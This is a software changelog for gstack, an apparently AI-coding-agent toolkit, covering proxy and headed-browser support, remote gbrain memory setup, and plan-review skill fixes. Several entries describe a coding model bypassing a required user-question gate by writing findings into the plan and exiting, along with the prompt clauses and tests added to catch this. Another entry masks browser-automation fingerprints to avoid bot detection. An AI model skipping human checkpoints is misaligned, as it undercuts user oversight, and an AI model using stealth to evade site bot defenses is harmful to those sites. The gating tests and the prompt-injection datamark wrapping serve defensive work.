browse --headed flag with auto-Xvfb on Linux. Walks the display range (:99, :100, ...) until xdpyinfo says free; never hardcodes :99 and never unlinks /tmp/.X<n>-lock for displays it didn't create. Xvfb child PID + start-time + display recorded in ~/.gstack/browse.json so cleanup-on-disconnect can validate ownership before signaling. Skips spawn when WAYLAND_DISPLAY is set (Chromium uses Wayland natively).

download --navigate flag (community PR #1355, attribution preserved). Uses page.waitForEvent('download') and page.goto(url, { waitUntil: 'commit' }) instead of page.request.fetch(). Required for sites where the download is triggered by browser navigation (Content-Disposition headers, redirect chains, anti-bot CDNs).

gstack/llms.txt auto-generated from skill frontmatter and the browse COMMAND_DESCRIPTIONS registry. Regenerates on every bun run gen:skill-docs. Strict mode (used in tests) refuses any skill missing name or description in its frontmatter.

Changed

Stealth narrowed to navigator.webdriver masking only. The pre-existing launchHeaded patches that faked navigator.plugins and navigator.languages were removed because modern fingerprinters check those for consistency with userAgent/ platform, and synthesized fixed values can flag MORE bot-like, not less. The cdc_/__webdriver runtime cleanup and Permissions API patch are kept — those remove ChromeDriver-injected artifacts rather than synthesize natural-browser values.

Browse daemon refuses to silently restart on --proxy/--headed flag mismatch. Existing daemon with config A + new invocation with config B → exits 1 with a browse disconnect hint. No silent state loss.

Cred policy: passing creds in BOTH the URL and BROWSE_PROXY_USER/ BROWSE_PROXY_PASS env vars now fails fast with a clear error. Silent override was a debugging trap.

Fixed

N/A — all-new code paths.

For contributors

New module boundary: browse/src/socks-bridge.ts, browse/src/proxy-config.ts, browse/src/proxy-redact.ts, browse/src/xvfb.ts, browse/src/stealth.ts. Each is small, testable in isolation, and has matching *.test.ts coverage.

70+ new tests across 7 files. The bridge-chromium-e2e.test.ts test launches real Chromium through the bridge and asserts the request actually traversed it (upstream connect counter + HTTP fixture hit counter both increment).

socks npm dependency added (~30KB).

Xvfb + x11-utils added to .github/docker/Dockerfile.ci so headed-xvfb/headed-orphan-cleanup exercise the Linux container path on every CI run instead of only manual smoke tests.

Community PR #1355 from @garrytan-agents merged; attribution preserved on the merging commit.

[1.27.1.0] - 2026-05-06

Plan-mode reviews now refuse to dump findings without asking. Four gate-tier tests catch the regression on every PR.

The four /plan-*-review skills (eng, ceo, design, devex) gain an anti-shortcut clause baked in via a single shared resolver. The clause names the May 2026 transcript-bug failure mode directly: model explores, finds issues, dumps every finding into one plan write, calls ExitPlanMode without firing AskUserQuestion. The new clause closes that loophole: "the plan file is the OUTPUT of the interactive review, not a substitute for it." Future tightening edits one resolver, all four skills update on the next gen-skill-docs.

Four gate-tier E2E tests catch the regression class on every PR that touches the four templates, the shared resolver, or the seeds fixture. Each test drives the matching skill against a small "forcing finding" seed and asserts the agent fires at least one AskUserQuestion before reaching plan_ready. ~1-3 min wall time per test, ~$2-6 total per CI hit. Eng floor: 59s. CEO floor: 197s. All four pass against the new template.

The numbers that matter

Verified end-to-end via live PTY runs against claude plan mode:

Surface Before After Δ

Plan-mode reviews with anti-shortcut clause 0/4 4/4 full coverage of plan-* family

Gate-tier regression tests for the transcript-bug class 0 4 one per skill

Wall time per floor test (typical) n/a 30s-3m early exit on first AUQ render

Cost per gate run (when triggered) n/a ~$2-6 diff-gated; only fires on relevant edits

Lines added / deleted — +450 / −3 additive; no breaking changes

The floor tests use a focused observer (runPlanSkillFloorCheck) that exits at the first non-permission numbered-option render. Existing periodic finding-count tests use runPlanSkillCounting for full fingerprint analysis on a 25-min budget; the floor variant trades fingerprint precision for early-exit reliability so it fits gate-tier constraints. Both helpers live side-by-side in test/helpers/claude-pty-runner.ts.

What this means for the four review skills

Every plan-* review now has a structural rule against the precise failure mode the transcript exhibited. The anti-shortcut clause appears in the rendered prompt right after the existing Anti-skip rule, so it's read alongside the per-section STOP gates v1.26.2.0 already added. If a future model regression revives the bug, the gate-tier floor test fires with full PTY evidence on the next PR.

Itemized changes

Added

generateAntiShortcutClause resolver in scripts/resolvers/review.ts, registered as {{ANTI_SHORTCUT_CLAUSE}} in the RESOLVERS map. Plan-* SKILL.md.tmpl files include it via one placeholder line.

runPlanSkillFloorCheck PTY helper in test/helpers/claude-pty-runner.ts — minimal "did the agent fire ANY AskUserQuestion?" observer with early exit on first non-permission numbered-option render.

Four gate-tier finding-floor E2E tests in test/skill-e2e-plan-{eng,ceo,design,devex}-finding-floor.test.ts, each using the shared runPlanSkillFloorCheck helper.

Four forcing-finding seeds in test/fixtures/forcing-finding-seeds.ts, one per skill, each engineered to surface at least one finding under that skill's review focus.

Changed

All four plan-*-review SKILL.md files now include the anti-shortcut clause immediately after the **Anti-skip rule:** paragraph. Anchored on the paragraph (not the surrounding heading) so the same insertion works across all four templates regardless of their differing section labels.

test/helpers/touchfiles.ts adds 4 entries to E2E_TOUCHFILES and E2E_TIERS=gate. The new entries depend on the matching skill template, the shared resolver, the seeds fixture, and the PTY runner helper.

test/touchfiles.test.ts count assertion bumped 21→22 with explicit plan-ceo-finding-floor containment.

[1.27.0.0] - 2026-05-06

/setup-gbrain connects to a remote brain in one paste. Brain repo renamed to gstack-artifacts.

/setup-gbrain now has a fourth path: paste a remote MCP URL plus a bearer token, and the skill registers it as your gbrain MCP without provisioning a local brain DB. No PGLite to install, no Supabase project to set up. Just point this Mac at a brain that already runs somewhere else (Tailscale node, ngrok endpoint, internal LAN, a teammate's server) and you have search + write working in one Claude Code session restart. The same flow optionally provisions a private gstack-artifacts-$USER repo on GitHub OR GitLab so the remote brain can ingest your CEO plans, designs, and reports as a federated source. The renamed repo replaces gstack-brain-$USER with a clearer name; existing users get a journaled, interruption-safe migration that handles the GitHub repo rename, the on-disk file moves, the config key rewrite, and the gbrain federated-source swap (add-new-before-remove-old, no downtime window).

The numbers that matter

Verified end-to-end against a live remote brain (wintermute on Tailscale, gbrain v0.27.1, 96K pages) plus the new test suite:

Surface Before After Δ

/setup-gbrain paths 3 (Supabase / PGLite / Switch) 4 (Supabase / PGLite / Switch / Remote MCP) +1 path, no local install required

Time to working remote MCP manual claude mcp add --transport http, then skip the rest of the skill one Path 4 walkthrough, full verify + artifact-repo provision ~30 sec setup, agent guided

Verify failure modes classified none (raw curl error) NETWORK / AUTH / MALFORMED, each with one-line remediation hint 3 buckets, 0 wrong-layer debugging

Migration interruption safety partial-state on Ctrl-C journal at .migrations/v1.27.0.0.journal, resumes from the next un-done step 6-step atomic rollback

Rename blast radius one bin script bin + scripts/ + 8 generated SKILL.md surfaces grep regression test guards every caller

Tests added — 59 unit + 2 gate-tier E2E + 4 regression full coverage of the rename + Path 4 prose contract

Path 4 step What runs Local dependency

Step 4c verify gstack-gbrain-mcp-verify $URL (curl POST initialize) none

Step 5a register claude mcp add --scope user --transport http gbrain $URL --header "Authorization: Bearer $TOKEN" claude CLI

Step 7 artifacts gstack-artifacts-init (gh OR glab OR manual URL paste) gh / glab / git

Step 8 CLAUDE.md mode-aware block; token NEVER written to CLAUDE.md (only ~/.claude.json) filesystem

Step 9 smoke test prints curl-equivalent for post-restart manual verification none

The verify helper's Accept: application/json, text/event-stream requirement is a regression-tested invariant. Every MCP server that ships HTTP transport returns 406 Not Acceptable without both values; missing this header costs about 10 minutes of debugging per fresh setup.

What this means for users running gbrain across machines

If you have a brain on a different Mac, a Tailscale-connected server, or a teammate runs one for the team, you no longer need a local install on every client. One paste of URL + bearer registers the MCP at user scope; restart Claude Code and mcp__gbrain__search and friends become callable. The artifacts repo is per-user (private), so each developer pushes their own plans/designs/reports without crossing trust surfaces. Renaming gstack-brain-$USER to gstack-artifacts-$USER is automatic if you accept the migration prompt; everything keeps working if you decline.

Existing local-mode users (PGLite or Supabase) see no behavior change beyond the rename. The path you picked in /setup-gbrain Step 2 still runs end to end, just under the new "artifacts" terminology.

Itemized changes

Added

/setup-gbrain Path 4 (Remote MCP). Step 2 gains a fourth option: paste an HTTPS MCP URL plus a bearer token. The skill verifies via gstack-gbrain-mcp-verify (NETWORK / AUTH / MALFORMED classifier with one-line remediation hints), registers via claude mcp add --scope user --transport http gbrain --header "Authorization: Bearer ...", then skips local install / doctor / transcript ingest because Path 4 has no local dependencies. Steps 5, 5a, 7, 8, 9, 10 all branch on mode. Idempotent re-run skips Step 2 entirely when gbrain_mcp_mode=remote-http is already detected.

bin/gstack-gbrain-mcp-verify (new). POSTs initialize to a remote MCP URL with the bearer from $GBRAIN_MCP_TOKEN (never argv) and classifies failures into NETWORK / AUTH / MALFORMED with concrete remediation hints. Probes tools/list for forward-compat with future gbrain releases that ship mcp__gbrain__sources_add (returns sources_add_url_supported: true|false).

bin/gstack-artifacts-init (new). Replaces gstack-brain-init. Asks the user to pick GitHub (auto via gh), GitLab (auto via glab), or manual URL paste. Creates gstack-artifacts-$USER (private), stores the HTTPS URL canonically in ~/.gstack-artifacts-remote.txt, and prints the brain-admin hookup command labeled "Send this to your brain admin" (always prints, never auto-executes — see setup-gbrain/memory.md for why).

bin/gstack-artifacts-url (new). Small helper for HTTPS↔SSH conversion plus host / owner-repo extraction. Mirrors the spirit of gstack-slug so URL-format string-mangling lives in one place.

gbrain_mcp_mode field in gstack-gbrain-detect output. 3-tier fallback: claude mcp get gbrain --json → claude mcp list text-grep → ~/.claude.json jq read. Defense in depth: if Anthropic moves the file format, the first two tiers absorb it.

gstack-upgrade/migrations/v1.27.0.0.sh. Six-step journaled migration for the brain → artifacts rename. Each step writes its name to ~/.gstack/.migrations/v1.27.0.0.journal on success; re-entry resumes from the next un-done step. On final success, journal is replaced by v1.27.0.0.done. User opt-out writes a skipped-by-user marker so the prompt doesn't fire again until /setup-gbrain --rerun-migration.

setup-gbrain/memory.md has a new "Path 4: Remote MCP setup" section covering the bearer storage trade-off, the always-print brain-admin hookup pattern, the CLAUDE.md block format (no token), and token-rotation guidance.

Changed

gbrain_sync_mode config key renamed to artifacts_sync_mode. Hard rename, no dual-read alias. The migration script rewrites the key in ~/.gstack/config.yaml and any "## GBrain Configuration" block in CLAUDE.md. Internal callers updated: bin/gstack-config, bin/gstack-gbrain-detect, bin/gstack-brain-sync, bin/gstack-brain-enqueue, bin/gstack-brain-uninstall, bin/gstack-timeline-log, scripts/resolvers/preamble/generate-brain-sync-block.ts.

Preamble BRAIN_SYNC: ... line renamed to ARTIFACTS_SYNC: ... and branches on gbrain_mcp_mode. In remote-http mode it emits ARTIFACTS_SYNC: remote-mode (managed by brain server <host>) to make clear that local sync is a no-op by design.

bin/gstack-brain-restore, bin/gstack-gbrain-source-wireup, and bin/gstack-brain-uninstall read ~/.gstack-artifacts-remote.txt with ~/.gstack-brain-remote.txt as a migration-window fallback. Once the v1.27.0.0 migration runs, only the artifacts file remains.

/sync-gbrain is a graceful no-op in remote-http mode (V1). Prints a one-line note pointing at the brain server and exits cleanly. Local-mode users see no change.

Removed

bin/gstack-brain-init deleted. Replaced by bin/gstack-artifacts-init. Anyone running the old name post-upgrade gets a clean "command not found" rather than a silent rename — per the gstack rule "avoid backwards- compatibility hacks." Existing users on disk have their state migrated by v1.27.0.0.sh.

test/gstack-brain-init-gh-mock.test.ts deleted. Replaced by test/gstack-artifacts-init.test.ts covering the same gh-mock pattern plus the new GitLab branch and the brain-admin printout.

For contributors

59 new unit tests + 2 gate-tier E2E tests + 4 regression tests. Highlights:

test/gstack-gbrain-mcp-verify.test.ts (13 tests) covers each error class via mocked curl, asserts the dual Accept header is set on every call, regression-tests the token-never-on-stdout invariant.

test/gstack-artifacts-init.test.ts (16 tests) covers gh / glab / both / neither provider selection, HTTPS canonical storage, the URL-form-supported branch in the brain-admin printout, and idempotent re-run.

test/gstack-gbrain-detect-mcp-mode.test.ts (19 tests) verifies each of the 3 detection tiers in isolation, plus the schema-regression check that /sync-gbrain's parser doesn't break on the new fields.

test/migrations-v1.27.0.0.test.ts (11 tests) covers all six migration steps including journal-resume, idempotent re-run, the add-before-remove ordering for source swap, and the remote-MCP print-only branch.

test/no-stale-gstack-brain-refs.test.ts greps the broader tree (bin, scripts, *.tmpl, generated *.md, test/) for stale identifiers.

test/post-rename-doc-regen.test.ts confirms gen-skill-docs output has no gstack-brain strings post-rename.

test/setup-gbrain-path4-structure.test.ts is a fast structural lint that catches AUQ-pacing regressions in the Path 4 prose without spending eval tokens.

scripts/resolvers/preamble/generate-brain-sync-block.ts detects remote-http mode by reading ~/.claude.json directly (no claude subprocess on every preamble — the hot path stays fast).

test/helpers/touchfiles.ts wires setup-gbrain-remote and setup-gbrain-bad-token into the gate-tier E2E selection.

Preamble byte budget ratcheted from 35K to 36.5K to honor the remote-mode probe in generate-brain-sync-block.ts.

[1.26.5.0] - 2026-05-06

The v1.26 memory feature now actually works on a fresh /setup-gbrain install, and /sync-gbrain --full actually registers github-hosted code sources.

Two fix-wave bugs closed in one ship. Until this version, the headline v1.26 features ended setup green but did nothing: every transcript page failed Unknown command: put_page, and every github.com/<org>/<repo> repo got rejected for an invalid source id. After upgrade, clean-install transcripts land in gbrain with title/type/tags intact, and any github-hosted repo registers a code source on the first try.

The numbers that matter

Both numbers come from running the binaries against the real gbrain v0.25.1 install on this machine, against origin/main first (buggy) and the merged branch second.

Surface Before (v1.26.4.0) After (v1.26.5.0) Δ

Memory-ingest writer verb gbrain put_page --slug ... --title ... (CLI rejects: Unknown command) gbrain put <slug> with frontmatter (CLI accepts) from 100% fail to 0% fail

Transcript pages with title/type/tags none — fields rode CLI flags that no gbrain version accepts injected into existing frontmatter on every page search/filter by --type transcript actually returns results now

Source id derived for github.com/garrytan/gstack gstack-code-github.com-garrytan-gstack (38 chars, contains ., fails gbrain [a-z0-9-]{1,32} validator) gstack-code-garrytan-gstack (27 chars, valid) 100% of github-hosted repos go from rejected to accepted

Availability probe failure mode every page errors with Unknown command: put_page one clean error: gbrain CLI not in PATH or missing put subcommand log spam goes from N copies to 1

Available gbrainPutPage() timeout 30 s (auto-link reconciliation hits 30 s on dense brains) 60 s brains with hundreds of existing pages stop hitting the ceiling on every put

gbrainPutPage() error surface Command failed: (Node truncates 1 MB stderr) first 300 chars of err.stderr debugging stops requiring strace; the failure is visible

The gbrain put verb has existed since v0.18.2 and was always the right CLI surface. The put_page shape was the MCP tool name leaking into the CLI path. The hybrid writer now handles both transcript pages (existing frontmatter from buildTranscriptPage, inject title/type/tags into it) and raw artifact pages (no frontmatter, wrap with new frontmatter).

What this means for new users

Run /setup-gbrain on a clean install, choose any path, and Step 7.5 actually populates the brain with your transcripts plus their metadata. Run /sync-gbrain --full on any github-hosted repo and the code stage registers the source instead of failing the sources add validator. The headline v1.26 features finally do the thing they shipped to do.

Itemized changes

Fixed

bin/gstack-memory-ingest.ts:gbrainPutPage — switched the writer from the legacy flag-based gbrain put_page --slug X --title Y --type Z --tags T form to the CLI surface gbrain put <slug> (positional slug, content via stdin, metadata in YAML frontmatter). Two-branch hybrid: when the page body already starts with frontmatter (transcript pages from buildTranscriptPage, which prepends agent/session_id/cwd/git_remote/etc. but no title/type/tags), inject title/type/tags into the existing block before the closing ---. When the body has no frontmatter (raw artifact pages: design-docs, learnings, builder-profile-entries), wrap with a fresh frontmatter carrying the same fields. Either branch produces a page that gbrain's pages list, search, and tag filters actually surface. Contributed by @smithjoshua (PR #1328: base writer + 60 s timeout + 16 MB maxBuffer + stderr first-line surface) and the artifact-wrap branch added on top here.

bin/gstack-memory-ingest.ts:gbrainAvailable — adds a gbrain --help probe with a regex anchored on the indented subcommand format (/^\s+put\s/m). Replaces the previous command -v only check. If a future gbrain renames or removes put, the writer fails fast with one clean error per ingest pass instead of N copies of Unknown command: put_page. Contributed by @AZ-1224 (PR #1341: probe origin); regex tightening added on top here per Codex P2 plan-review feedback.

bin/gstack-gbrain-sync.ts:deriveCodeSourceId — drops the host segment from canonical remote URLs (the same github.com- prefix on every user's id was eating 12 chars of the 32-char gbrain budget for nothing) and falls back to a 6-char sha1 hash on the slug tail when org/repo names still exceed the limit. Every github.com/<org>/<repo> derives a gbrain-valid id on the first try. Contributed by @radubach (PR #1330).

bin/gstack-gbrain-sync.ts:constrainSourceId — handles the empty-slug edge case (input sanitizes to all non-alnum chars). Pre-fix the function returned ${prefix}- which fails gbrain's validator on the trailing hyphen; now falls back to a deterministic sha1-prefixed id. Surfaced via the new basename-sanitizes-to-empty regression test added in this version per Codex plan-review.

Added

test/gstack-memory-ingest.test.ts — two regression tests stand up a fake gbrain shim on PATH and run the real --bulk ingest pipeline against a planted Claude Code session. The first asserts the writer hits gbrain put <slug> (not put_page) and that title, type, AND tags arrive in the put stdin. The second points the writer at a legacy-only shim and asserts the availability probe surfaces a single missing-subcommand error instead of N per-page failures. Contributed by @AZ-1224 (PR #1341); the assertions for title/type/tags arriving in stdin are added on top here. The strengthened test surfaced a deeper issue in PR #1328's inject branch: it searched for \n---\n (with trailing newline) but buildTranscriptPage joins frontmatter without a trailing newline, so the search never matched. Two-line fix on top: search for \n--- only.

test/gstack-gbrain-sync.test.ts — four cases from PR #1330 (dot-host, SCP-style remote, multi-dot host, long org/repo forcing hash-truncate) plus two new edge cases this version (no-origin fallback path; basename-sanitizes-to-empty). Each test spawns the CLI inside a temp git repo and asserts the derived id passes gbrain's validator regex. Contributed by @radubach for the four core cases.

For contributors

Codex outside-voice plan review caught three P1 ship-blockers in the originally proposed merge (the no-frontmatter-wrap branch from PR #1341 alone would have silently dropped title/type/tags from every transcript page — its own tests passed because they only asserted agent: claude-code). The plan pivoted from merge #1341 + cherry-pick from #1328 to merge #1328 + hybrid writer + cherry-pick #1341's tests, strengthened. Two-pass live smoke against real gbrain (where the database connects) confirmed source-id length goes 38 → 27 chars; memory-ingest writer correctness was verified by the strengthened shim tests against a real gbrain CLI process.

Two follow-up TODOs filed: P2 to bump the bin/gstack-gbrain-install pin in lockstep with gstack memory-feature releases (issue #1305 part 2), P3 to handle source-id cross-host collisions (github.com/acme/foo and gitlab.com/acme/foo currently collapse to the same id; rare but silent).

[1.26.4.0] - 2026-05-05

/autoplan review reports now reliably land at the bottom of the plan, even when an older copy lives mid-file.

The ## GSTACK REVIEW REPORT section had a write rule that contradicted itself: one bullet said "replace it entirely (in place)" while another said "always last section, move if mid-file." When the agent inherited a plan whose prior /autoplan run had landed before user-added sections, the in-place replace path won and the new report stayed mid-file. The user opened ExitPlanMode, saw their plan with no review at the bottom, and had to ask twice. Single delete-then-append rule now, with a Read-tool verification step before the next instruction runs.

What you can now do

Run /autoplan against a plan that already has a stale ## GSTACK REVIEW REPORT mid-file and trust the new report ends up at the bottom. The instruction in scripts/resolvers/review.ts (which feeds /plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, /codex, /devex-review) now reads as one rule: search for any existing report section, delete it wherever it lives, append a fresh report at end of file, verify with the Read tool that the report is the last ## heading. No more contradiction for the agent to reconcile.

What gets safer

Five static template assertions in test/gen-skill-docs.test.ts lock the prompt change against drift. Each plan-review SKILL.md (4 of them) plus the source resolver are checked for the new "delete-then-append flow" / "never mid-file" / "Do NOT replace the section in place" markers AND the absence of the old "replace it** entirely using the Edit tool" / "If it was found mid-file, move it" bullets. Synthetic regression check confirmed: all 5 fail when the prompt is reverted, all 5 pass when restored. The tests are bound to the change, not to incidentally green output.

Itemized changes

Changed

scripts/resolvers/review.ts — "Write to the plan file" subsection rewritten. Old contradictory pair ("replace it entirely" vs "always last / move if mid-file") collapsed into a single 4-step delete-then-append flow with explicit verification.

All 6 generated SKILL.md files refreshed to carry the new instruction: plan-ceo-review, plan-design-review, plan-devex-review, plan-eng-review, codex, devex-review.

Added

test/gen-skill-docs.test.ts — new GSTACK REVIEW REPORT delete-then-append flow describe block: 4 SKILL.md target tests + 1 source resolver test. Static, deterministic, free.

For contributors

The /autoplan E2E approach attempted in the plan was dropped after a paid run revealed that --disallowedTools AskUserQuestion makes autoplan bail at the Phase 1 premise gate via the plan-file fallback. The PTY harness can't drive autoplan through its review phases without auto-progression of AskUserQuestions. The static prompt-text test catches the load-bearing change without needing that infrastructure.

[1.26.3.0] - 2026-05-03

/sync-gbrain keeps your brain current and teaches the agent when to use it.

Two functional gaps closed in one ship: the cwd repo wasn't actually being indexed by gbrain (the orchestrator called gbrain import which only handles markdown directories, not code), and the coding agent had no idea gbrain existed in any session that didn't explicitly opt in. Both fixed by switching to gbrain v0.20.0+'s native code surfaces and adding a CLAUDE.md guidance block that's gated on a working capability check.

What you can now do

Run /sync-gbrain to refresh gbrain against this repo's code. Default is --incremental (mtime fast-path, ~50ms). --full runs gbrain reindex-code for a full re-index. --dry-run previews what would sync without writing anywhere. --code-only, --no-memory, --no-brain-sync, --quiet all work.

Use gbrain code-def/code-refs/code-callers/code-callees against your repo. /sync-gbrain registers the cwd as a federated source via gbrain sources add (idempotent — id is gstack-code-<repo_slug>), then runs gbrain sync --strategy code. The native code surfaces just work afterward.

Get gbrain hints in every gstack skill preamble. When gbrain is configured AND the cwd source has page_count > 0, every skill start emits a 4-line "prefer gbrain search/code-def/code-refs over Grep" hint. When configured but the corpus is empty, you get a 3-line emergency hint nudging you to run /sync-gbrain --full. When gbrain isn't configured, the hint resolves to empty string — zero context tax for non-gbrain users.

Find the long-form guidance in CLAUDE.md. /sync-gbrain (and /setup-gbrain Step 8) write a ## GBrain Search Guidance block delimited by HTML comments, with concrete CLI commands for semantic search, symbol-aware code lookup, and curated-memory queries. The block is removed automatically when the capability check fails, so a Mac with synced repo CLAUDE.md but no local gbrain doesn't end up telling the agent to use tools that don't exist.

What gets safer

Concurrent /sync-gbrain runs from two terminals don't corrupt CLAUDE.md or .gbrain-sync-state.json. Lock file at ~/.gstack/.sync-gbrain.lock with PID + timestamp. Stale-lock takeover after 5 min. Both files written via tmp+atomic-rename. SIGINT/SIGTERM trap releases the lock.

--dry-run actually doesn't write anywhere. Previously the orchestrator skipped only the gbrain import call; now it skips sources add, sync --strategy code, the state file, AND the CLAUDE.md guidance block. Print "would: ..." lines for every action.

The capability check is narrower than gbrain doctor. Doctor exits "unhealthy" for unrelated reasons (resolver_health warnings, minions_migration partial-installs) on otherwise-functional brains. /sync-gbrain uses a write+search round-trip (gbrain put $SLUG | gbrain search ping | grep $SLUG) which actually tests what we care about: can the agent search.

Itemized changes

Added

New lib/gbrain-sources.ts — ensureSourceRegistered(id, path, options) + probeSource(id, env) + sourcePageCount(id, env) helpers. Production callers leave env unset (inherit process.env); tests pass a custom env to point at a fake gbrain on PATH.

New sync-gbrain/SKILL.md.tmpl — top-level skill, ~250 lines.

New test/gbrain-sources.test.ts — 9 unit tests with a fake gbrain shell script on PATH (jq-driven state file, no real DB needed).

Lock-file primitives (acquireLock / releaseLock) in the orchestrator.

New code-stage detail schema in .gbrain-sync-state.json: last_stages.code.detail = {source_id, source_path, page_count, last_imported, status}.

Changed

bin/gstack-gbrain-sync.ts runCodeImport rewritten to use gbrain sources add + gbrain sync --strategy code (incremental) or gbrain reindex-code --yes (--full) instead of gbrain import. State file written via tmp+rename for atomicity.

setup-gbrain/SKILL.md.tmpl Step 8 now writes both ## GBrain Configuration AND ## GBrain Search Guidance blocks, gated on Step 9 smoke test pass.

scripts/resolvers/preamble/generate-brain-sync-block.ts emits Variant A (4 lines, healthy) / Variant B (3 lines, empty corpus) / empty string (gbrain not configured). Reads cached cwd page_count from the state file (handles pretty + compact JSON via tr -d '\n' flatten).

test/gen-skill-docs.test.ts plan-review preamble byte budget bumped 33000 → 35000 to absorb the new context-load block.

test/gstack-gbrain-sync.test.ts updated for native code surfaces (12 tests, was 8) — adds source-id derivation, dry-run no-lock, stale-lock takeover, fresh-lock blocking.

test/skill-e2e-memory-pipeline.test.ts updated to assert would: gbrain sources add instead of would: gbrain import.

Ship golden fixtures (test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md) refreshed.

For contributors

The 4-digit MAJOR.MINOR.PATCH.MICRO version in package.json and VERSION is the source of truth.

Run bun run gen:skill-docs --host all after editing any .tmpl to regenerate per-host SKILL.md files; commit both.

gbrain v0.25.1 already ships gbrain sync --watch [--interval N] and gbrain sync --install-cron natively. The previously-deferred V1.5 P0 daemon can wire through to those rather than building a gstack-side watcher.

[1.26.2.0] - 2026-05-03

/plan-eng-review always asks. Never silently writes findings to your plan first.

Plan-mode review skills now have a hard STOP gate before any AskUserQuestion. The bug this closes: a /plan-eng-review session would do Step 0 scope challenge, find real issues, write the findings into the plan file as prose, then call ExitPlanMode — never invoking AskUserQuestion. The user only saw "ready to execute" with the model's opinions already baked in. The tool to surface the question existed, the prompt told the model to use it, and the model still routed around it.

Five sites in plan-eng-review/SKILL.md.tmpl now use the office-hours b512be71 pattern verbatim: "the AskUserQuestion call is a tool_use, not prose — call the tool directly," named blockers ("do not edit the plan file, do not call ExitPlanMode"), and an anti-rationalization clause ("loading the schema via ToolSearch and writing the recommendation as chat prose is the failure mode this gate exists to prevent"). The four review-section gates (Architecture, Code Quality, Test, Performance) and the Step 0 complexity-check trigger all use the same language.

What you can now do

Trust that any plan- review skill that produces a plan file ends with the review report.* All four plan-mode E2E tests (plan-eng, plan-ceo, plan-design, plan-devex) now assert ## GSTACK REVIEW REPORT is the last ## section of the plan file whenever one was written. The {{PLAN_FILE_REVIEW_REPORT}} resolver mandated this contract; nothing tested it until now.

Catch the "writes findings to plan as prose before asking" failure mode. New wrote_findings_before_asking classifier outcome fires when a Write/Edit to .claude/plans/* precedes any AskUserQuestion render in the session window. Opt-in via strictPlanWrites: true so existing tests where zero-findings → write plan → plan_ready stays legitimate.

Run plan-design-review-plan-mode on PR CI again. The touchfiles entry was duplicated — plan-design-review-plan-mode appeared at line 94 (gate, full deps) and line 243 (smaller deps). JS object literals: later wins. The effective tier was periodic, not gate. Three of four plan-mode siblings ran on every PR; design didn't.

Itemized changes

Added

runPlanSkillObservation's initialPlanContent?: string option. Pre-pumps a user message containing the seeded plan before invoking the skill, with a 3s gap so the message renders before the slash command.

ClassifyResult outcome wrote_findings_before_asking with companion strictPlanWrites? opt on classifyVisible. Six new unit tests in claude-pty-runner.unit.test.ts cover before/after-AUQ ordering plus the strict-off legacy path.

Shared test helper assertReportAtBottomIfPlanWritten(obs) in claude-pty-runner.ts. Wraps the existing assertReviewReportAtBottom(content) and gates on obs.planFile (artifact existing), so the assertion fires under 'asked' and 'plan_ready' both — wherever a plan file was actually written.

New seeded-plan test case in skill-e2e-plan-eng-plan-mode.test.ts: STOP gate fires when seeded plan forces Step 0 findings. Combines initialPlanContent + --disallowedTools AskUserQuestion to force the Conductor MCP-variant path through mcp__*__AskUserQuestion.

Changed

plan-eng-review/SKILL.md.tmpl lines 116, 139, 152, 160, 169 ported from soft "STOP." prose to the office-hours pattern. Adds tool_use reminder, names blocked next steps explicitly, anti-rationalization clause.

runPlanSkillObservation now captures obs.planFile on every classifier outcome (was: only 'plan_ready'). Catches the case where the skill wrote a plan partway through then paused on a question.

Fixed

test/helpers/touchfiles.ts duplicate plan-design-review-plan-mode keys deleted (line 243 in E2E_TOUCHFILES, line 524 in E2E_TIERS). Effective tier is now gate again, matching the other three siblings.

scripts/resolvers/review.ts added to all four plan-mode-test touchfiles entries so changes to the {{PLAN_FILE_REVIEW_REPORT}} resolver text trigger all four sibling tests in bun run eval:select.

For contributors

6 new classifier unit tests in test/helpers/claude-pty-runner.unit.test.ts (70 → 76).

New initialPlanContent?: string option on runPlanSkillObservation for seeding a draft plan into a test run before invoking the skill. Lets STOP-gate regression tests pre-pump guaranteed-finding-triggering complexity (8+ files, custom-vs-builtin smell) so the skill has something concrete to react to.

[1.26.1.0] - 2026-05-03

gstack-gbrain-sync ships host-agnostic. Curated artifacts push from Claude Code, Codex CLI, or a dev workspace — same orchestrator, same install, same result.

The orchestrator resolves its sibling gstack-brain-sync binary via import.meta.dir, matching the pattern already in runMemoryIngest. Path resolution stays anchored to where the script actually lives, not to a hardcoded host install root, so the curated-git-push stage runs end-to-end on every host gstack supports.

What you can now do

Run gstack-gbrain-sync from any host install and watch curated artifacts land in the remote. End-to-end smoke from a Conductor workspace: bun run bin/gstack-gbrain-sync.ts --incremental --no-code --no-memory --quiet returns {"name": "brain-sync", "ran": true, "ok": true, "summary": "curated artifacts pushed"}. The stage runs on Codex CLI installs and dev checkouts the same way it runs under Claude Code.

Changed

runBrainSyncPush (bin/gstack-gbrain-sync.ts:222) resolves the curated-push binary as a sibling of the running script. One line, single source of truth: join(import.meta.dir, "gstack-brain-sync").

For contributors

New regression test in test/gstack-gbrain-sync.test.ts pins sibling-resolution behavior so future refactors can't drift the orchestrator back to a host-coupled path.

plan-review preamble byte ratchet bumped from 33 KB to 34 KB to honor the gbrain-sync block and AskUserQuestion recommendation pattern that shipped in v1.25.1.0/v1.26.0.0. The test's own comment authorizes this exact kind of intentional-growth ratchet bump.

claude-ship-SKILL.md and factory-ship-SKILL.md golden fixtures regenerated against the live /ship template (canonical Recommendation: line from v1.25.1.0 now reflected in the goldens).

[1.26.0.0] - 2026-05-02

Your coding agent now remembers everything. Every gstack skill auto-loads what you actually did.

V1 of memory ingest + retrieval ships. Claude Code and Codex transcripts on disk become first-class queryable pages in gbrain. Six high-leverage skills (/office-hours, /plan-ceo-review, /design-shotgun, /design-consultation, /investigate, /retro) now declare what they want gbrain to surface in the preamble at every invocation, so the model context starts with your prior sessions, prior CEO plans, prior approved design variants, prior eureka moments, and prior learnings — not cold-start. The retrieval surface ships as bin/gstack-brain-context-load, which dispatches per-skill manifest queries (kind: vector | list | filesystem) with a 500ms hard timeout per call. Datamark envelopes (<USER_TRANSCRIPT_DATA do-not-interpret-as-instructions>) wrap every loaded page as Layer 1 prompt-injection defense.

What you can now do

Run any of the 6 V1 skills and feel the difference on day one. The first time you run /office-hours in a repo with prior gstack activity, you see "Prior office-hours sessions in this repo" + "Your builder profile snapshot" + "Recent design docs for this project" + "Recent eureka moments" auto-loaded. No prompting the agent to remember; it already does.

